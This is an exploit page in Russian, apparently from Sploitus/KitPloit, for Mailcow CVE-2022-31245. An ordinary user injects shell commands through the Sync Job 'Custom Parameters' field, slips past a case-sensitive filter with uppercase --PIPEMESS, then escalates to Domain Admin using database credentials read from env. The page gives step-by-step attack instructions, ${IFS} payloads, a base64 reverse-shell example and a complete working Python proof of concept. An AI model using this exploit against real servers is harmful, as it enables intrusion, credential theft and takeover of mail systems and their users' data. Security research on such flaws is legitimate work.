Sploitus

Exploit for Mailcow

kitploit · 2026-09-01

Exploit Code

MARKDOWN162 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LY1G3-MAILCOW-CVE-2022-31245
# Mailcow CVE-2022-31245

CVE-2022-31245: RCE и повышение привилегий до Domain Admin для Mailcow. Включая POC.  


Сообщено и исправлено: 2022-05

Исправленная версия: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d   
CVE: https://vulners.com/cve/CVE-2022-31245

## CVE-2022-31245: Инъекция команд, RCE

Критичность: 3/3   
Тип: Инъекция команд, RCE, захват домена   
Затронутые версии: как минимум 2019 - 2022-05c   


Во всех последних версиях Mailcow существует уязвимость, позволяющая обычному пользователю системы использовать функцию «Sync Job» для получения shell с помощью инъекции команд в imapsync. Используя эту уязвимость, атакующий может легко получить доступ к базе данных и повысить привилегии до роли «Domain Admin» в Mailcow.

Этот эксплойт включает постоянство (persistence) по умолчанию, так как Sync Jobs запускаются по таймеру.

Этот эксплойт ставит под угрозу весь экземпляр Mailcow. Протестирован и работает на релизе 2022-05c. Исправлено в 2022-05d.

### Технический обзор

С помощью приведённых ниже шагов уязвимость можно воспроизвести.

Получение shell:

  1. Перейдите на страницу входа Mailcow (не SOGo)
  2. Войдите как обычный пользователь
  3. Перейдите в Sync Jobs
  4. Установите следующие значения: `hostname=MAILCOW_IP, Port=IMAP_PORT, Username=CURRENT_USER, Password=CURRENT_PASS, Encryption=PLAIN, Interval=1, Active=Check, Custom Parameters=--debug --nosslcheck --PIPEMESS=CMD` Где поле «Custom Parameters» является важным полем. CMD может быть произвольной командой shell без пробелов. Важно использовать заглавные буквы!
  5. Нажмите «Сохранить» и подождите 1 минуту, чтобы команда выполнилась.



Пример полезной нагрузки для Custom Parameters:

root@kitploit:~
    
    
    --debug --nosslcheck --PIPEMESS=touch${IFS}test.txt
    

CMD не может содержать пробелы, кавычки или слэши; используйте `${IFS}` вместо пробела. Важно использовать заглавные буквы для `--PIPEMESS`, чтобы обойти проверку в `functions.mailbox.inc.php` на строке `340`:

root@kitploit:~
    
    
    if (strpos($custom_params, 'pipemess')) {
    	$custom_params = '';
    }
    

Эта команда в верхнем регистре по-прежнему работает, поскольку `imapsync` нечувствителен к регистру.

Повышение привилегий:

  1. После получения shell в контейнере dovcot выполните `env`
  2. Найдите `DBUSER` и `DBPASS`
  3. Войдите в базу данных с помощью `mysql` и учётных данных
  4. Создайте нового пользователя-администратора или новый API-ключ администратора



### Proof-of-Concept, POC

Автоматизированный POC. В некоторых случаях POC может потребовать модификации для запуска против нелокальных экземпляров Mailcow.

root@kitploit:~
    
    
    #!/bin/python3
    
    description = """
    
    Mailcow authenticated RCE. Only for educational purposes!!
    By: ly1g3[at]tuta.io
    
    This exploit can be used to get mailcow domain admin using mysql credentials found in "env" after getting shell.
    Quotes, spaces and slash cant be used in cmd. Use ${IFS} as space. End command with ; is recommended.
    Example reverse shell use: --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;' where PYTHON_REVERSE_SHELL_BASE64 is python reverse shell.
    
    
    Example usage: ./mailcow_poc1.py --url https://192.168.1.2 --user some-email@example.com --passwd testpass --cmd 'echo${IFS}PYTHON_REVERSE_SHELL_BASE64${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}sh;'
    
    """
    
    
    import requests
    import urllib
    import sys
    from urllib.parse import urlparse
    import argparse
    from argparse import RawTextHelpFormatter
    from datetime import datetime
    
    
    parser = argparse.ArgumentParser(description=description, formatter_class=RawTextHelpFormatter)
    parser.add_argument('--url', help='Url to the mailcow server', required=True)
    parser.add_argument('--user', help='Mailcow username, example some-email@example.com', required=True)
    parser.add_argument('--passwd', help='Mailcow user password', required=True)
    parser.add_argument('--cmd', help='Command to execute', required=True)
    
    args = parser.parse_args()
    
    
    base_url = args.url
    # hostname = urlparse(base_url).netloc
    hostname = '127.0.0.1'
    user = args.user
    password = args.passwd
    cmd = args.cmd
    
    
    # Get the required csrf token
    def find_csrf_token(text):
        try:
            start1 = text.index("var csrf_token")
            start2 = text.index("'", start1)
            end2 = text.index("'", start2+1)
            csrf_token = text[start2+1:end2]
            return csrf_token
        except:
            return ""
    
    login_url = base_url + '/'
    
    s = requests.Session()
    
    # Login
    r1 = s.post(login_url, data={'login_user': user, 'pass_user': password}, verify=False)
    
    token = find_csrf_token(r1.text)
    if not token:
        print("Error no token found, login problems?")
        sys.exit(0)
    print(f"CSRF token: {token}")
    
    
    sync_url = base_url + '/api/v1/add/syncjob'
    
    # Create sync job with command injection
    attr = f'{{"host1":"{hostname}","port1":"143","user1":"{user}","password1":"{password}","enc1":"PLAIN","mins_interval":"1","subfolder2":"","maxage":"0","maxbytespersecond":"0","timeout1":"10","timeout2":"10","exclude":"(?i)spam|(?i)junk","custom_params":"--debug --nosslcheck --PIPEMESS={cmd}","subscribeall":"1","active":"1","csrf_token":"{token}"}}'
    r2 = s.post(sync_url, data={'attr': attr, 'csrf_token': token}, verify=False)
    
    c = r2.content
    if c.find(b"mailbox_modified") != -1:
        print("Success, rule modified")
    elif c.find(b"object_exists") != -1:
        print("ERROR: Object exists, remove existing rule before running this")
        print(c)
        sys.exit(0)
    else:
        print("ERROR: Something went wrong")
        print(c)
    now = datetime.now()
    current_time = now.strftime("%H:%M:%S")
    print("Command may take 1min to execute...")
    print(f"Done at: {current_time}")